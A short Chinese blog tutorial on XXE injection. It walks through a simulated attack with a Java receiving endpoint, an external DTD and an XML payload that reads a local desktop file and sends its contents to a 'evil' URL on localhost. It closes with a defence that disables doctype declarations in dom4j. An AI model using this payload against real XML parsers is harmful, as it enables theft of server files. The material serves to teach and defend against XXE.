1. 程式人生 > >xxe XML外部實體注入

xxe XML外部實體注入

xml,允許我們儲存和傳輸資料。也提供了DTD,允許我們進行文件型別定義,外部DTD,定義的實體可以竊取伺服器資訊,上傳至指定的伺服器上。

 

接下來,就模擬一下:xxe,竊取資訊伺服器資訊,上傳至指定伺服器。

 

1.編寫接收介面:

   @RequestMapping("evil/{content}")
    @ResponseBody
    public void evil(@PathVariable String content,HttpServletResponse response) {
        LOGGER.info("content:"+content);
        ResponseUtil.writeHtml(response, content);
    }

2.編寫外部dtd:

<!ENTITY % shell "<!ENTITY upload SYSTEM 'http://127.0.0.1:8096/evil/%file;'>">
%shell;

3.編寫xml請求資料:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///Users/my_mac/Desktop/txt">
    <!ENTITY % xxe SYSTEM "http://127.0.0.1:8096/xxe.dtd"
> %xxe; ]> <value>&upload;</value>

以上就是模擬了,xml資料,獲取我桌面txt檔案內容,上傳至http://127.0.0.1:8096/evil,介面的示例。

 

微信支付回撥函式使用的就是xml傳輸資料。今年就暴漏出了,xxe攻擊的風險。目前已經修復。阻止xxe攻擊,一般只要禁止外部實體的使用就可以了。

 

舉一例:

org.dom4j.io.SAXReader

SAXReader reader = new SAXReader();



reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);  //設定禁止使用doctype宣告,就可以阻止此類攻擊